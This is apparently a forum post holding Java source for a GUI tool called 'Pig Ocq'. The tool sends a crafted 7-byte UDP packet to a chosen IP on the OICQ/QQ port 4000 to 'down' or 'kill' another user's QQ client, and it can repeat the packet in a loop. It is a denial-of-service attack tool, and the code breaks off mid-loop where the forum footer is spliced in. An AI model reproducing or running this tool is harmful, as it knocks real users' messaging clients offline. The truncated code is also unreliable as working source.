Title: Down the oicq for version 710
*Description: just for test java don't use it for another reason
*Copyright: Copyright (c) 2001
* @author jianbin1979 * @version 1.0 */ public class SendByte extends Frame { /** * normal variant defined */ private static final byte TTL = 1; private static final int DATAPRAM_BYTES = 7; private static final byte[] downBuf = {0x02,0x70,0x63,0x00,0x01,0x11,0x03}; private static int DEF_OICQ_PORT = 4000; /** * net variant */ private DatagramPacket downPkt; private InetAddress downIna; private int downPrt; private MulticastSocket downSkt; /* Gui variant */ private TextField pigIP; private TextField pigPort; private Button pigBtn; private Button pigEbtn; private Label pigError; private Label pigStatus; private Checkbox pigLoop; private Dialog pigAlt; /** * construction */ public SendByte() { super("Pig Ocq"); pigIP = new TextField(15); pigPort = new TextField("4000", 5); pigBtn = new Button("Down the pig"); pigEbtn = new Button("ok"); pigAlt = new Dialog(this, "Wait", true); pigError = new Label("Please input the field"); pigStatus = new Label("0"); pigLoop = new Checkbox("Loop kill the pig"); /** * dialog construction */ pigAlt.setLayout(new FlowLayout()); pigAlt.add(pigError); pigAlt.add(pigEbtn); pigAlt.setSize(200, 70); pigEbtn.addActionListener( new ActionListener() { public void actionPerformed(ActionEvent e) { pigAlt.setVisible(false); } }); /** * frame construction */ this.setLayout(new FlowLayout()); this.setSize(300, 100); this.setBackground(java.awt.Color.lightGray); this.add(pigIP); this.add(pigPort); this.add(pigBtn); this.add(pigLoop); this.add(pigStatus); /** * frame event constructions */ pigBtn.addActionListener( new ActionListener() { public void actionPerformed(ActionEvent e) { downSend(); } }); this.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent e) { System.exit(0); } }); this.setLocation(300, 300); this.setVisible(true); } /** * send the down byte to the pig */ public void downSend() { new DownQQ().start(); } public static void main(String[] args) { SendByte sendByte1 = new SendByte(); } /** * send down thread */ class DownQQ extends Thread { /* implements run mothod() */ public void run() { try { /* if empty then return */ if ( pigIP.getText().length()==0 || pigPort.getText().length()==0 ) { pigAlt.show(); return; } downPrt = Integer.parseInt( pigPort.getText() ); downIna = InetAddress.getByName(pigIP.getText()); downPkt = new DatagramPacket(downBuf, downBuf.length, downIna, downPrt); downSkt = new MulticastSocket(); /** * loop kill for 60times 1min 1time */ try { /** * if the loop if checked * the ever 30secs send one */ if ( pigLoop.getState() ) { int MAX_LOOP = 60; int i = 0; while (i欢迎光临 心跳的回忆 (http://www.hsrbbs.com/) | Powered by Discuz! X3.1 |